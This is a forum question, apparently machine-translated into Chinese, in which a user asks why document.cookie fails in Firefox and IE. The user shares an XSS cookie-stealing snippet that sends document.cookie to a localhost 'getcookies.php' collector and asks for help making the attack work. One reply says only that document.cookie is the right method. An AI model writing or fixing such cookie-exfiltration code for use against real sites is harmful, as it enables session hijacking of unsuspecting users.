我必須使用JavaScript來讀取cookie。我正在使用document.cookie
來做同樣的事情。但該方法僅適用於谷歌瀏覽器,而不適用於Firefox和IE 8/9。所有的網頁也顯示document.cookie
作爲一種方式來做到這一點。無法在Firefox和IE中讀取Cookie
如何使用JavaScript在Firefox和IE中獲取cookie?
感謝
UPDATE 我測試在本地主機上我的代碼。在線測試代碼blogspot.com,它甚至沒有在Chrome上工作。
任何方式,這裏的HTML代碼:
<script type="text/javascript">
function sendCookies(){
document.location='http://localhost/xss/getcookies.php?cookie='+escape(document.cookie);
}
</script>
<a onclick="sendCookies()" href="#">
click here </a> to know about XSS attack.
在調試在瀏覽器中document.cookie
,它顯示只有鉻值。如果我將本地主機替換爲在線鏈接,即使在Chrome上,document.cookie
也是空的。
你可能的猜測是正確的。這是一種跨站腳本攻擊。
對這段代碼的任何幫助對我都有好處?
更新2:
這裏的鏈接到它展示瞭如何執行XSS攻擊的視頻:使用jQuery的餅乾
'document.cookie **是**的方式來做到這一點。如果它不起作用,那麼您對您正在閱讀的文檔或您嘗試閱讀的cookie的解釋可能存在錯誤。您需要提供更多關於您的具體問題的信息,以便人們提供更有用的幫助,然後鏈接到您所擁有的教程,據推測,這些教程已經閱讀。 – Quentin